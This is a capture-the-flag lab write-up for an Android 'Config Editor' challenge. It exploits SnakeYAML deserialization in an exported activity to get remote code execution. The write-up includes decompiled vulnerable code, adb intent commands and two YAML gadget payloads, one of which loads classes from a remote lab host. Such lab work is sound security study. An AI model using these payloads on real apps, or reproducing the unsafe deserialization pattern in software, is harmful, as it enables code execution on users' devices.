Challenge Description#
Welcome to the Config Editor Challenge! In this lab, you’ll dive into a realistic situation involving vulnerabilities in a widely-used third-party library. Your objective is to exploit a library-induced vulnerability to achieve RCE on an Android application.
configeditor.apk
Solution#
As usual, I started out by performing static analysis to read the code.
Static Analysis#
I started by looking into the AndroidManifest.xml
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| <activity
android:name="com.mobilehackinglab.configeditor.MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="file"/>
<data android:scheme="http"/>
<data android:scheme="https"/>
<data android:mimeType="application/yaml"/>
</intent-filter>
</activity>
|
There’s only one activity and it has a intent filter which accept URI parameter.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| private final void handleIntent() {
Intent intent = getIntent();
String action = intent.getAction();
Uri data = intent.getData();
if (Intrinsics.areEqual("android.intent.action.VIEW", action) && data != null) {
CopyUtil.INSTANCE.copyFileFromUri(data).observe(this, new MainActivity$sam$androidx_lifecycle_Observer$0(new Function1<Uri, Unit>() { // from class: com.mobilehackinglab.configeditor.MainActivity$handleIntent$1
{
super(1);
}
@Override // kotlin.jvm.functions.Function1
public /* bridge */ /* synthetic */ Unit invoke(Uri uri) {
invoke2(uri);
return Unit.INSTANCE;
}
/* renamed from: invoke, reason: avoid collision after fix types in other method */
public final void invoke2(Uri uri) {
MainActivity mainActivity = MainActivity.this;
Intrinsics.checkNotNull(uri);
mainActivity.loadYaml(uri);
}
}));
}
}
|
Moving on to MainActivity
code, there’s a handleIndent
function where it will receive incoming intent and execute several function such as CopyUtil.INSTANCE.copyFileFromUri
and loadYaml
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| public final void loadYaml(Uri uri) {
try {
ParcelFileDescriptor openFileDescriptor = getContentResolver().openFileDescriptor(uri, "r");
try {
ParcelFileDescriptor parcelFileDescriptor = openFileDescriptor;
FileInputStream inputStream = new FileInputStream(parcelFileDescriptor != null ? parcelFileDescriptor.getFileDescriptor() : null);
DumperOptions $this$loadYaml_u24lambda_u249_u24lambda_u248 = new DumperOptions();
$this$loadYaml_u24lambda_u249_u24lambda_u248.setDefaultFlowStyle(DumperOptions.FlowStyle.BLOCK);
$this$loadYaml_u24lambda_u249_u24lambda_u248.setIndent(2);
$this$loadYaml_u24lambda_u249_u24lambda_u248.setPrettyFlow(true);
Yaml yaml = new Yaml($this$loadYaml_u24lambda_u249_u24lambda_u248);
Object deserializedData = yaml.load(inputStream);
String serializedData = yaml.dump(deserializedData);
ActivityMainBinding activityMainBinding = this.binding;
if (activityMainBinding == null) {
Intrinsics.throwUninitializedPropertyAccessException("binding");
activityMainBinding = null;
}
activityMainBinding.contentArea.setText(serializedData);
Unit unit = Unit.INSTANCE;
Closeable.closeFinally(openFileDescriptor, null);
} finally {
}
} catch (Exception e) {
Log.e(TAG, "Error loading YAML: " + uri, e);
}
}
|
Looking into the loadYaml
function, it seems to be something related to YAML deserialization where it will perform load
and dump
function.
1
| import org.yaml.snakeyaml.Yaml;
|
After looking into the imports, I noticed that the YAML is using snakeyaml
. I then googled it and found some useful information such as this and this which it is possible to gain RCE.
1
2
3
4
5
6
| public final class LegacyCommandUtil {
public LegacyCommandUtil(String command) {
Intrinsics.checkNotNullParameter(command, "command");
Runtime.getRuntime().exec(command);
}
}
|
Another thing is that there is a class and function LegacyCommandUtil
where it is possible to execute command. I believe this will be used together with the YAML deserialization with SnakeYAML
. Time to perform dynamic analysis to see how it actually works.
Dynamic Analysis#
I started by playing around with the application and provide some intent to meet the criteria.
1
2
| PS C:\> adb shell am start -n com.mobilehackinglab.configeditor/.MainActivity -a android.intent.action.VIEW -d "http://192.168.68.107:8001/test.yaml"
Starting: Intent { act=android.intent.action.VIEW dat=http://192.168.68.107:8001/... cmp=com.mobilehackinglab.configeditor/.MainActivity }
|

From what I understand, this process basically just deserialize it using yaml.load
and serialize back it using yaml.dump
. Based on this article, I tried to use the payload and see if its work.
1
| !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://192.168.68.107:8001/yeet"] ]] ]
|
1
2
| PS C:\> adb shell am start -n com.mobilehackinglab.configeditor/.MainActivity -a android.intent.action.VIEW -d "http://192.168.68.107:8001/test.yaml"
Starting: Intent { act=android.intent.action.VIEW dat=http://192.168.68.107:8001/... cmp=com.mobilehackinglab.configeditor/.MainActivity }
|

It seem’s like something is wrong and the POC provided did not work. I then tried to understand how the YAML deserialization works and see what I could do. After understanding it, I noticed that it has something to do with classes and the LegacyCommandUtil
has classes in it. I then craft a payload and try to execute the LegacyCommandUtil
function.
1
| !!com.mobilehackinglab.configeditor.LegacyCommandUtil ["touch /sdcard/Documents/configeditorhacked.txt"]
|
1
2
| PS C:\> adb shell am start -n com.mobilehackinglab.configeditor/.MainActivity -a android.intent.action.VIEW -d "http://192.168.68.107:8001/hacked.yaml"
Starting: Intent { act=android.intent.action.VIEW dat=http://192.168.68.107:8001/... cmp=com.mobilehackinglab.configeditor/.MainActivity }
|

After a few attempt, I tried the yaml payload and it managed to rendered back in the page. I then checked it my RCE is successful or not.
1
2
3
| beryllium:/sdcard/Documents # ls -la
total 0
-rw-rw---- 1 root everybody 0 2025-04-09 17:07 configeditorhacked.txt
|
This proof that the YAML deserialization executed the LegacyCommandUtil
function and I managed to create a file in specific directory.
Things I learned from this challenge#
- YAML deserialization
- SnakeYAML CVE